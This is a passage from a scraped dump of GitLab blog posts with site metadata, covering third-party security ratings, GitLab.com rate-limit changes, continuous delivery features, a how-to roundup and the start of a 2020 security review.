purchasing decisions and recognizes that many utilize results from Third Party Security Ratings platforms as a deciding factor. While these services can be extremely helpful, there is also the potential for inaccurate information to be presented as evidence on a company’s behalf, especially for a company like GitLab. That’s why GitLab aligned with [BitSight](https://www.bitsight.com/), a leading provider of Third Party Security ratings and loyal GitLab customer, with a mutual goal of removing misappropriated information, improving GitLab’s security rating, and building confidence in our security posture for our Customers and Prospects. Here’s how we did it. \n\n## The Downside to Third Party Ratings\n\nThird Party Security ratings are a great way to independently validate a company’s security. However, without proper diligence and review, ratings can be presented inaccurately. This was especially true in GitLab’s case. GitLab maintains multiple environments to properly segment our development and testing activities from our production environment. Within these non-production environments it is common to have older infrastructure or operating systems for backwards compatibility testing. However, with many Third Party Security Rating platforms, non-production environments are lumped together with production. Additionally, due to GitLabs dynamic nature, our team members often create infrastructure for testing, register the IP address, and then remove the infrastructure within a short period of time. This can lead to IP addresses that are no longer utilized by GitLab to be included in the ratings. Both of these resulted in a deceptively lower score on multiple Third Party Security Ratings platforms that were not accurately reflecting GitLab’s security posture. \n\n## Improving GitLab’s BitSight Rating\n\n![Third Party Ratings Workflow](https://about.gitlab.com/images/blogimages/third_party_ratings.png)\n\nIn **August 2020,** GitLab's BitSight rating was 530 (on a scale of 250-900) with documented vulnerabilities related to Compromised Systems and Application Security. \n\nWe began by validating our Digital Footprint - a list of IP addresses and domains that public DNS records associated with GitLab. By reviewing this list first, we were able to identify IPs that were no longer associated with GitLab and request they be removed. This increased our score.  \n\nNext, we created Environment tags and created 3 custom ratings for Production, Pre-Production, and User Managed IPs. This allowed us to “remove” findings associated with non-production (non-customer impacting) IPs. This increased our score significantly. \n\nWith a narrowed down list of targeted findings, we reviewed the findings and associated infrastructure and took action. By the end of **September 2020** GitLab's BitSight rating was a 780 (on a scale of 250-900). \n\nA critical step in our success was the implementation of a Third Party Security Rating process for identifying new findings, managing our score, and tracking observations through remediation. This included utilizing BitSight’s built in functionality for score monitoring and alerting as well as regular auditing of the Digital Footprint and Observation Management procedures to track resolution of identified findings. To see our Monthly Summary Report, visit our [Customer Assurance Package](/security/cap/).\n\n## Partnering with BitSight\nWe began this process by conducting research into some of the most common Third Party Security Ratings platforms and understanding how each sourced their information, validated their information, and assigned ratings to identified findings. This allowed us to identify the platform that best suited our needs and focus on improving that rating specifically. \n\nFor GitLab, it was critical that the platform has:\n* Alerting and visibility when our rating changes\n* Re-scan options for remediated findings\n* Ability to remove IPs/Domains that aren’t ours\n* Individual reports or ratings for different environments (ie- production vs non-production)\n* Integrations/APIs for ingestion of data into our monitoring tools\n* Alerting and Visibility when our third parties or competitor’s ratings changes\n* Simple and clear factors and scoring\n* Sufficient detail about the finding to validate and remediate\n\nIn the end we decided we would move forward with BitSight due to their simple and transparent factors and scoring, the ability to segment out different environments, and their ability to support multiple GitLab use cases. And while we recognize that there are many other ratings platforms out there, GitLab is committing to a collaborative partnership with BitSight to maintain a simple and transparent security rating that we all can be proud of. You can read more about our Third Party Security rating process and view our latest ratings reports in GitLab’s [Customer Assurance Package](/security/cap/).\n",[674,2368],{"slug":20253,"featured":6,"template":678},"how-gitlab-uses-third-party-security-ratings-to-build-customer-confidence","content:en-us:blog:how-gitlab-uses-third-party-security-ratings-to-build-customer-confidence.yml","How Gitlab Uses Third Party Security Ratings To Build Customer Confidence","en-us/blog/how-gitlab-uses-third-party-security-ratings-to-build-customer-confidence.yml","en-us/blog/how-gitlab-uses-third-party-security-ratings-to-build-customer-confidence",{"_path":20259,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20260,"content":20265,"config":20271,"_id":20273,"_type":16,"title":20274,"_source":17,"_file":20275,"_stem":20276,"_extension":20},"/en-us/blog/automation-check-in-and-rate-limit-changes-on-gitlab-dot-com",{"title":20261,"description":20262,"ogTitle":20261,"ogDescription":20262,"noIndex":6,"ogImage":12013,"ogUrl":20263,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20263,"schema":20264},"Automation check-in and rate limit changes on GitLab.com","GitLab is making some changes to our rate limits on GitLab.com starting in January 2021.","https://about.gitlab.com/blog/automation-check-in-and-rate-limit-changes-on-gitlab-dot-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automation check-in and rate limit changes on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sean McGivern\"}],\n        \"datePublished\": \"2020-12-17\",\n      }",{"title":20261,"description":20262,"authors":20266,"heroImage":12013,"date":20268,"body":20269,"category":736,"tags":20270},[20267],"Sean McGivern","2020-12-17","\n\nAs the end of the year approaches, now is a good time to check in on your\ncustom automations with GitLab.com ahead of a few changes we're\nplanning to make to rate limits in the New Year. On January 18, 2021, we will be adding\nadditional rate limits on GitLab.com activity:\n\n1. Unauthenticated traffic will be limited to **500** requests per\n   minute from a given IP address.\n2. Authenticated traffic depends on whether it is to our API or not:\n   1. API traffic will be limited to **2,000** requests per minute\n      for a given user.\n   2. All other HTTP traffic will be limited to **1,000** requests per\n      minute for a given user.\n3. All traffic will be limited to **2,000** requests per minute from\n   a given IP address when not covered by one of the limits above.\n\nWe have this information recorded in our documentation under [GitLab.com-specific rate\nlimits](https://docs.gitlab.com/ee/user/gitlab_com/#gitlabcom-specific-rate-limits). These limits apply to all HTTP requests made to\nGitLab.com, which could be from:\n\n1. Web browsers, while using the site\n2. Editor extensions that integrate with the GitLab API\n3. Git clients (if using Git over HTTP)\n4. Custom automation\n\n## What do users need to do?\n\nWe expect the limits will only apply to automated traffic, rather than\nindividual people using the site through a browser. This means that\nautomation customers should handle rate-limit responses by\nusing the headers we mention in the [documentation](https://docs.gitlab.com/ee/user/gitlab_com/#gitlabcom-specific-rate-limits).\n\nWhen a request is blocked due to rate limiting, GitLab will return a status\ncode of 429, along with a `Retry-After` header indicating the number of\nseconds remaining until the current limit expires.\n\nIf you have automation that does not currently process a 429 response,\nand you use GitLab.com heavily, we recommend updating it for this\ncase.\n\nBeyond this situation, the majority of users will not need to do anything. If\nwe notice that your traffic exceeds these limits, we may try to contact\nyou directly. If the traffic is unauthenticated, we may not be able to\ndo so.\n\n## Why is GitLab doing this?\n\nWe are always looking to improve the stability and availability of\nGitLab.com.\n\n## What will happen in future?\n\nIn the future we aim to refine these limits as the usage of GitLab.com\nchanges, which may involve introducing more specific limits, or\nreducing the existing limits. If API clients ensure that they process the\nretry headers correctly, as above, then they can handle any changes in\nthese limits gracefully.\n",[6962],{"slug":20272,"featured":6,"template":678},"automation-check-in-and-rate-limit-changes-on-gitlab-dot-com","content:en-us:blog:automation-check-in-and-rate-limit-changes-on-gitlab-dot-com.yml","Automation Check In And Rate Limit Changes On Gitlab Dot Com","en-us/blog/automation-check-in-and-rate-limit-changes-on-gitlab-dot-com.yml","en-us/blog/automation-check-in-and-rate-limit-changes-on-gitlab-dot-com",{"_path":20278,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20279,"content":20285,"config":20289,"_id":20291,"_type":16,"title":20292,"_source":17,"_file":20293,"_stem":20294,"_extension":20},"/en-us/blog/cd-solution-overview",{"title":20280,"description":20281,"ogTitle":20280,"ogDescription":20281,"noIndex":6,"ogImage":20282,"ogUrl":20283,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20283,"schema":20284},"How to use GitLab tools for continuous delivery","Learn how to use GitLab technology to release software faster and with less risk.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682956/Blog/Hero%20Images/CD-continuous-nature-cover-880x586.jpg","https://about.gitlab.com/blog/cd-solution-overview","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab tools for continuous delivery\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2020-12-17\",\n      }",{"title":20280,"description":20281,"authors":20286,"heroImage":20282,"date":20268,"body":20287,"category":734,"tags":20288},[937],"\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2021-04-01.\n\nEach organization is unique in how they adopt continuous delivery (CD) principles, but the journey to modernize and enhance your software release process can be conducted in phases. In this blog post, we unpack some of the tools companies can use to adopt continuous delivery (CD), and explain how companies can reach continuous delivery in three key stages. The good news is, regardless of how you get there, GitLab offers a solution that allows companies to modernize their release process at their own pace and in their own way.\n\n## Consolidate disparate tools into a single platform\n\nThe first step to reaching [continuous delivery](/topics/continuous-delivery/) is to consolidate the number of disparate tools in your pipeline by using the tools and capabilities baked into the GitLab product. In this section, we summarize some of the fundamental components of GitLab and give examples of how they work.\n\nGitLab users can track issues and merge requests using [milestones](https://docs.gitlab.com/ee/user/project/milestones/#milestones), which also help with setting time-bound goals. Milestones can be used as Agile sprints and releases, and allow you to organize issues and merge requests into a one group, with an optional start date and an optional due date.\n\n![Example of GitLab milestone from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/milestone.png)\nScreenshot shows example milestone in GitLab.\n\n[Issues are a fundamental tool in GitLab](https://docs.gitlab.com/ee/user/project/issues/#issues), and include many components to help users communication information about product problems, new features, and more.\n\n[Merge requests (MRs) are created to merge one branch into another](https://docs.gitlab.com/ee/user/project/merge_requests/). MRs are also where solutions are developed and is a key input to the release planning process.\n\nBoth issues and MRs are core components of a release and allow for the audit and tracking of application changes created by a large group of DevOps engineers, system administrators, and developers. We often use Epics in the release planning process. [Epics are used to track groups of issues with the same theme](https://docs.gitlab.com/ee/user/group/epics/#epics). In the example below, an Epic was created for all the UI-related issues in a project.\n\n![Example of GitLab epic for frontend work](https://about.gitlab.com/images/blogimages/cd-solution-overview/epic.png)\nAn example of an Epic for frontend work in GitLab.\n\n[Iterations are a relatively new tool that allows users to track issues over time](https://docs.gitlab.com/ee/user/group/iterations/#iterations) and helps to track velocity and volatility metrics. Iterations can also be used with milestones and can track a project's sprints using the detailed iterations pages, which include many progress metrics.\n\n![Example iteration from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/iteration.png)\nThis screenshot shows an example of how iterations work in GitLab.\n\nThe [Roadmap tool assembles epics, milestones, and iterations in a timeline format](https://docs.gitlab.com/ee/user/group/roadmap/#roadmap), which makes it easier to visually track all progress toward a release and helps the user streamline the release process.\n\n![Example of roadmap from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/roadmap.png)\nThis screenshot shows an example of roadmap in GitLab.\n\nGitLab offers many approval gates for your release. Set a [deploy freeze window](https://docs.gitlab.com/ee/ci/environments/deployment_safety.html) to temporarily suspend automated deployments to production. The deploy freeze window prevents unintended production releases during a particular time frame to help reduce uncertainty and risk of unscheduled outages.\n\n![Example of deploy freeze window from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/freeze.png)\nThis screenshow shows an example deploy freeze window in GitLab.\n\nRelated to the deploy freeze window, users can protect the production environment for a release to prevent unintentional releases. Deploy freeze windows protect the production environment by specifying who is allowed to deploy to the environment. Assigning specific roles and responsibilities streamlines the approval gates and release process.\n\n![protected-env](https://about.gitlab.com/images/blogimages/cd-solution-overview/protected-env.png)\n\nWhen it's ready, the [user can create the release which automatically generates the release evidence](https://docs.gitlab.com/ee/api/releases/#collect-release-evidence). This streamlined process helps reduce release cycle times.\n\n![Example of release evidence from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/release-evidence.png)\nHere is an example of release evidence from a demo project in GitLab.\n\n## Implement continuous delivery\n\nThe capabilities described above help to establish some best practices for software continuous delivery. In this next phase of the CD cycle, every change is automatically deployed to the User Acceptance Testing env/Staging (with a manual deployment to production). In this scenario, there is no need for a deploy freeze, and the release manager can cut a release from staging at any point in time.\n\n[GitLab Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) helps users automatically create the release pipeline and relieves them from manually creating a pipeline. With Auto DevOps, users can automatically deploy to the staging environment and manually deploy to production and enable canary deployments. Auto DevOps, which is based on DevOps best practices, helps you streamline the release process.\n\n![Example of enabling Auto DevOps from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/enable-auto-devops.png)\nHow to enable Auto DevOps in GitLab.\n\nThe first job in Auto DevOps is the build job, as shown below:\n\n![build-job](https://about.gitlab.com/images/blogimages/cd-solution-overview/build-job.png)\nThe build job in GitLab Auto DevOps.\n\nThe build job applies the appropriate build strategy to create a Docker image of the application and stores it in the built-in Docker Registry.\n\n![Example of container registry from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/container-registry.png)\nSee the example of a container registry in GitLab.\n\nFaster and more reliable releases happen when you have build components like Docker images that are consistent, uniform, and readily available throughout the release process. GitLab also includes a built-in [Package Registry](https://docs.gitlab.com/ee/user/packages/) that supports many packaging technologies.\n\n![Example of package registry from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/package-registry.png)\nHere's what the package registry looks like in GitLab.\n\n[Review Apps](https://docs.gitlab.com/ee/ci/review_apps/#review-apps) allow the user to visualize what features will go into production. As updates are made to the application via MRs, the MRs kick off Review Apps, which streamlines the review process, including the automatic creation and destruction of an ephemeral review environment. Using Review Apps, stakeholders can verify the updates to the application before the changes are merged to the main line. Review Apps help increase code quality reducing the risk of unexpected production outages.\n\n![Example Review Apps from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/review-apps.png)\nAn example of Review Apps in GitLab from a demo project.\n\nOnce an application is built and passes many automated tests, checks and verifications, the Auto DevOps pipeline automatically stands up a staging environment and deploys the application to staging.\n\n![Example staging environment from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/staging-env.png)\nAn example staging environment in GitLab.\n\nAt this point, a user can manually deploy the updated application as a canary deployment to the production environment. In doing so, a user ships features to only a portion of the pods fleet and watches their behavior as users visit the temporarily deployed feature. If everything checks out, the next step is to deploy the feature to production. After deploying to production, roll out the Canary deployment to 50% of the production pods. Incremental rollouts lower the risk of production outages and delivers a better user experience and customer satisfaction. Advanced deployment techniques, like canary, incremental, and Blue-Green also improve development and delivery efficiency, and streamlines the release process.\n\n![Example incremental rollout from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/rollout.png)\nHow incremental rollout works in GitLab.\n\n![live-env-button](https://about.gitlab.com/images/blogimages/cd-solution-overview/live-env-button.png)\nTo check the running application for integrity, you can click on the \"Open live environment\" button.\n\nClicking this button will open up the application in a different browser tab. But what if you run into an application error? As shown below:\n\n![Example application error from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/app-error.png)\nThis is what an application error will look like in GitLab.\n\nIf you encounter an app error, you could decide to perform a rollback by drilling down into the production environment page and identifying the release that had been running before the last deployment. This page is an auditable sequence of changes that have been applied to the production environment. The rollback process starts with the click of a button. Rollbacks speed up recovery of production in case of failures and lowers outage times, which improves the user experience.\n\n![Example rollback from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/rollback.png)\nRollback in GitLab to speed up production recovery.\n\nPipelines usually run automatically, but to schedule a pipeline once a day at midnight, for example, so staging can have the most recent version of the application each day, go to CI/CD->Schedules. Scheduling pipelines can improve the efficiency of the development life cycle and release processes.\n\n![Example of pipeline scheduling from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/pipeline-sched.png)\nHow to schedule a pipeline to run in the future.\n\nWhile the application is running in production, track how the release is performing and quickly identify and troubleshoot any production issues. There are a few ways to do this. One way is to access the \"Monitoring\" feature for a specific environment to track system and application metrics, such as system and pod memory usage, and the number of cores used. The monitoring tracking includes markers (small rocket icon) when updates were introduced to the environment, so that fluctuations in the metrics can be correlated to a specific update.\n\n![Example monitoring capabilities from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/monitoring.png)\nExplore monitoring capabilities in GitLab.\n\nMonitoring reduces the time to identify, resolve and preempt production problems, which lowers the risk of unscheduled outages. It also provides an opportunity for monitoring business activity and optimizes cloud costs. This type of monitoring is not only useful to release managers but also to DevOps engineers, application operators, and platform engineers.\n\nAnother way to monitor the release is by creating alerts to detect out-of-range metrics, which are visible on the overall operations metrics dashboard as well as on each specific environment window. Alerts can also automatically trigger ChatOps and email messages to appropriate individuals or groups.\n\n![Example alerts from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/alerts.png\nExample alerts in GitLab.\n\nYou can manage alerts from the [Operations Alerts window](https://docs.gitlab.com/ee/operations/incident_management/alerts.html), a single location from which you can assess and handle alerts, which may include the manual or automatic rollback of a release.\n\n![Example alerts dashboard from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/alerts-window.png)\nWhat the he alerts dashboard looks like on GitLab.\n\nUsers can track and monitor the release progress through [Value Stream Analytics](https://docs.gitlab.com/ee/development/value_stream_analytics.html#value-stream-analytics-development-guide), where you can check your project or group statistics over time and see how your team improves in the number of new issues, commits, deploys, and deployment frequency. Value Stream Analytics is useful to quickly determine the velocity of a given project. It points to bottlenecks in the development process, allowing management to uncover, triage, and identify the root cause of slowdowns in the software development life cycle.\n\n![Example value stream analytics from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/value-stream.png)\nValue stream analytics in GitLab.\n\nLastly, another way to track and monitor the release is through [Pipeline analytics](https://docs.gitlab.com/ee/user/analytics/ci_cd_analytics.html#pipeline-success-and-duration-charts). Pipeline analytics shows the history of your pipeline successes and failures, as well as how long each pipeline runs. This helps explain the health of your projects and their continuous delivery.\n\n![Example pipeline analytics from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/pipeline-analytics.png)\nScreenshot shows example pipeline analytics in GitLab.\n\nThe [Operations dashboard](https://docs.gitlab.com/ee/user/operations_dashboard/#operations-dashboard) can contain more than one project, and allows users to oversee more than one release. This dashboard provides a summary of each project's operational health, including pipeline and alert status.\n\n![Example operations dashboard from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/ops-dashboard.png)\nExample of operations dashboard in GitLab.\n\nRelease managers can also access the [environments dashboard](https://docs.gitlab.com/ee/ci/environments/environments_dashboard.html#environments-dashboard) to provide a cross-project, environment-based view that lets you see the big picture of what is happening in each environment.\n\n![Example environments dashboard from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/env-dashboard.png)\nThe environments dashboard in GitLab.\n\nAnother option is to drill down into a specific environment to see all the updates applied to the environment.\n\n![Example production environment dashboard from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/prod-env-dashboard.png)\nThe production environment dashboards shows all updates applied to the environment.\n\nAll these dashboards offer operations insights that are necessary to understand how a release is performing in production and quickly identify and troubleshoot any production issues.\n\n## Implement continuous deployment\n\nThe third phase in the journey is continuous deployment, where users can send updates directly to production. Instead of manually triggering deplyments, continuous deployment sends changes to production production auomatically (no human intervention is required). Teams can only achieve continuous deployment once continuous delivery is already in place.\n\nTo introduce a feature to a segment of end-users in a controlled manner in production, create [feature flags](/blog/feature-flags-continuous-delivery/). Feature flags help reduce risk and let the user conduct controlled tests and separate feature delivery from customer launch.\n\n![Example feature flag from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/feature-flag.png)\nFeatures flags in GitLab.\n\nA project's audit events dashboard will record what user introduced a feature flag.\n\n![Example audit events dashboard from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/events-dashboard.png)\nScreenshot shows example audit events dashboard in GitLab.\n\nCheck security and compliance-related items of the project by visiting the [Security dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/#gitlab-security-dashboards-and-security-center).\n\n![Example security dashboard from demo project](https://about.gitlab.com/images/blogimages/cd-solution-overview/sec-dashboard.png)\nThe security dashboard in GitLab.\n\nThese dashboards help you preempt out-of-compliance scenarios to avoid penalties. They also streamline audits, provide an opportunity to optimize cost, and lower risk of unscheduled production outages.\n\nWe have reviewed how GitLab can help you make your releases safe, low risk, worry-free, consistent, and repeatable.\n\nWhether you are just starting your journey into DevOps, or already in the midst of implementing DevOps processes, [GitLab's continuous delivery](/stages-devops-lifecycle/continuous-delivery/) can help you every step of the way with capabilities built on DevOps and CD best practices.\n\n## Watch and learn\n\nMore of a video person? Tune in below to see GitLab’s continuous delivery solution in action.\n\n\u003Chttps://www.youtube-nocookie.com/embed/L0OFbZXs99U>\n\nFor more information, visit [LEARN@GITLAB](/learn/).\n",[1385,4103,4144],{"slug":20290,"featured":6,"template":678},"cd-solution-overview","content:en-us:blog:cd-solution-overview.yml","Cd Solution Overview","en-us/blog/cd-solution-overview.yml","en-us/blog/cd-solution-overview",{"_path":20296,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20297,"content":20303,"config":20307,"_id":20309,"_type":16,"title":20310,"_source":17,"_file":20311,"_stem":20312,"_extension":20},"/en-us/blog/gitlab-for-cicd-agile-gitops-cloudnative",{"title":20298,"description":20299,"ogTitle":20298,"ogDescription":20299,"noIndex":6,"ogImage":20300,"ogUrl":20301,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20301,"schema":20302},"How to use GitLab for Agile, CI/CD, GitOps, and more","Read our example engineering stories from the past two years that show how to use GitLab for you DevOps cycle, including GitOps, CI/CD and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681825/Blog/Hero%20Images/triangle_geo.jpg","https://about.gitlab.com/blog/gitlab-for-cicd-agile-gitops-cloudnative","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab for Agile, CI/CD, GitOps, and more\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-12-17\",\n      }",{"title":20298,"description":20299,"authors":20304,"heroImage":20300,"date":20268,"body":20305,"category":734,"tags":20306},[17272],"\n\nOn this blog, our community frequently shares tips, tricks, stories, and tutorials that demonstrate how to do different things with GitLab. This collection features some of our most popular and enduring how-to blog posts from the past two years, covering [CICD](/topics/ci-cd/), GitOps, Machine learning and more! See how various team members, companies, and users leverage GitLab to deliver software faster and more efficiently by reading and watching some of the tutorials we've featured.\n\n## Code review with GitLab\n\nWe know that code review is essential to effective collaboration, but the logistics of it all can be challenging. [Master code review by watching the demo](/blog/demo-mastering-code-review-with-gitlab/) included with this blog post.\n\n## Cool ways to use GitLab CI/CD\n\n### The basics of CI/CD\n\nBrand new to CI/CD? Read our [beginner's guide to the vocabulary and concepts](/blog/beginner-guide-ci-cd/).\n\nHere’s the [code you’ll need to build a CI/CD pipeline](/blog/how-to-create-ci-cd-pipeline-with-autodeploy-to-kubernetes-using-gitlab-and-helm/) with AutoDeploy to Kubernetes, using GitLab and Helm.\n\nNext, find the [code you'll need to build a CI pipeline with GitLab](/blog/basics-of-gitlab-ci-updated/), allowing you to run jobs sequentially, in parallel, or out of order.\n\n### Pipelines with CI/CD\n\nLearn how to [build a CI/CD pipeline in 20 minutes (or less) using GitLab’s AutoDevOps](/blog/building-a-cicd-pipeline-in-20-mins/) capabilities by following the instructions in this blog post, which is based on a popular GitLab Commit Brooklyn presentation that you can watch below.\n\nDiscover [how to trigger pipelines across multiple projects](/blog/cross-project-pipeline/) using GitLab CI/CD.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/-shvwiBwFVI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### CI/CD with Android\n\nAndroid project users are in luck because in [this post we explain how to set up GitLab continuous integration (CI) functions](/blog/setting-up-gitlab-ci-for-android-projects/) in Android projects.\n\nGitLab and fastlane pair up to [help users publish applications to the iOS store](/blog/ios-publishing-with-gitlab-and-fastlane/) using a GitLab CI/CD runner.\n\n### CI/CD and GKE\n\n![GitLab CI/CD and GKE integration](https://about.gitlab.com/images/blogimages/gitlab-gke-integration-cover.png){: .shadow.medium.center}\n\nWe explain [how to get started with GitLab CI/CD and Google Kubernetes Engine (GKE)](/blog/getting-started-gitlab-ci-gcp/) in this initial demo.\n\nGitLab self-managed user? ✅\nUsing Google Kubernetes engine? ✅\nGreat! The [next tutorial is all about how to use GitLab CI to install GitLab runners on GKE](/blog/gitlab-ci-on-google-kubernetes-engine/) using our integration. It shouldn’t take you more than 15 minutes.\n\n## GitLab for machine learning\n\nBut what about GitLab for machine learning? We’ve got you covered. Watch the demo from GitLab Virtual Commit to see how you can use GitLab to leverage tasks for machine learning pipelines.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/DJbQJDXmjew\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## GitLab for Agile\n\nGitLab features work for many software development methodologies, including [Agile](/solutions/agile-delivery/).\n\nStart by [mapping Agile artifacts to GitLab features](/blog/gitlab-for-agile-software-development/) and explore how iteration works using GitLab.\n\n![GitLab issue board](https://about.gitlab.com/images/blogimages/issue-board.png){: .shadow.medium.left}\n\nThe GitLab issue board allows for flexible workflows and can be organized to represent [Agile software development](/topics/agile-delivery/) states.\n{: .note.text-center}\n\nThen go more in-depth to learn [how to use GitLab for Agile portfolio planning and project management](/blog/gitlab-for-agile-portfolio-planning-project-management/).\n\n## Giddy for GitOps?\n\n[GitOps](/topics/gitops/) takes DevOps best practices that are used for application development such as [version control](/topics/version-control/), collaboration, compliance, and CI/CD, and applies them to infrastructure automation.\n\nGitLab is the [DevOps platform](/topics/devops/) that does it all, and it’s built using Git, making it the ideal solution for GitOps processes.\n\nFirst, we explained [how GitLab and Ansible can be used together for GitOps](/blog/using-ansible-and-gitlab-as-infrastructure-for-code/) processes and [infrastructure as code](/topics/gitops/infrastructure-as-code/). In a follow-up post, we explain how [GitLab can also be paired with Terraform for GitOps](/topics/gitops/gitlab-enables-infrastructure-as-code/) and IaC.\n\nThe video on how to use Ansible and GitLab together has been viewed more than 13,000 times since it was first created in 2019, and is embedded for you below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/M-SgRTKSeOg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Visibility\n\nOne of our principles at GitLab is to [dogfood everything](/handbook/engineering/development/principles#dogfooding), so you can rest assured that we aren’t about to introduce an engineering feature without first trying it out for ourselves. When it comes to our Insights tool though, the process happened in reverse. Our Engineering Productivity team at GitLab needed a particular tool, and as we built it, we realized it would benefit our GitLab Ultimate customers. Read on to [learn how our Insights tool came to be](/blog/insights/).\n\nDig into this [valuable explanation of how we discovered that Prometheus query language can be used to detect anomalies](/blog/anomaly-detection-using-prometheus/) in the time-series data that GitLab.com reports.\n\n## In the clouds\n\nWatch the demo to learn how GitLab runner and RedHat OpenShift can work together to jump start your application development and deployment to the cloud.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/yGWiQwrWimk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nAnd finally, although Docker Hub may be enforcing new rate limits, there's no need to panic. We [explain how to build a monitoring plug-in](/blog/docker-hub-rate-limit-monitoring/) to help you monitor the number of pull requests.\n\nCan you think of some other stand-out blog posts or demos that we should include here? Drop the link in a comment below.\n\nCover image by [Chris Robert](https://unsplash.com/@chris_robert) on [Unsplash](https://unsplash.com/photos/kY-uPDLXxHg)\n{: .note}\n",[1384,1385,676,4144],{"slug":20308,"featured":6,"template":678},"gitlab-for-cicd-agile-gitops-cloudnative","content:en-us:blog:gitlab-for-cicd-agile-gitops-cloudnative.yml","Gitlab For Cicd Agile Gitops Cloudnative","en-us/blog/gitlab-for-cicd-agile-gitops-cloudnative.yml","en-us/blog/gitlab-for-cicd-agile-gitops-cloudnative",{"_path":20314,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20315,"content":20321,"config":20326,"_id":20328,"_type":16,"title":20329,"_source":17,"_file":20330,"_stem":20331,"_extension":20},"/en-us/blog/how-we-made-gitlab-more-secure-in-twenty-twenty",{"title":20316,"description":20317,"ogTitle":20316,"ogDescription":20317,"noIndex":6,"ogImage":20318,"ogUrl":20319,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20319,"schema":20320},"How we made GitLab more secure in 2020","From preventing vulnerabilities to squashing bugs in source code; here’s how our security team has made GitLab more secure in 2020, and where they’ll focus efforts in 2021.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670800/Blog/Hero%20Images/sec-2020-review.png","https://about.gitlab.com/blog/how-we-made-gitlab-more-secure-in-twenty-twenty","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we made GitLab more secure in 2020\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Johnathan Hunt\"}],\n        \"datePublished\": \"2020-12-16\",\n      }",{"title":20316,"description":20317,"authors":20322,"heroImage":20318,"date":20323,"body":20324,"category":18484,"tags":20325},[14910],"2020-12-16","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n2020 was a highly-productive year, and one with high impact, which brought a number of security enhancements across GitLab’s product and environment.\n\nOur primary goal of strengthening GitLab’s enterprise grade security was accomplished through the implementation of numerous security controls and led to the successful completion of our first SOC 2 Type 2 attestation. We completed a 2 month field security study which consumed and aggregated data from current and prospective customers, the broader community, industry and several internal stakeholders (sales, support and product) to generate a report with prioritized areas of focus for our SaaS service.  Our teams have started strategic work aligned to these priorities and designed to further enhance security in our enterprise service, strengthen our competitive position and bolster the trust and confidence of our customers.\n\nWe also saw advancements in our goal of reducing the threat landscape.  Vulnerability management was dramatically improved across all aspects of security including [application security](/topics/devsecops/) (reduced: time to mitigate, total overall vulnerabilities, and number of high severity vulnerabilities), infrastructure security (improved scanning capabilities and accuracy of detection as well as reduced time to patching and mitigation) and bug bounty (increased engagement, improved response and remediation). We implemented an industry leading governance, risk and compliance tool which improved the effectiveness and efficiency of risk management and third-party vendor 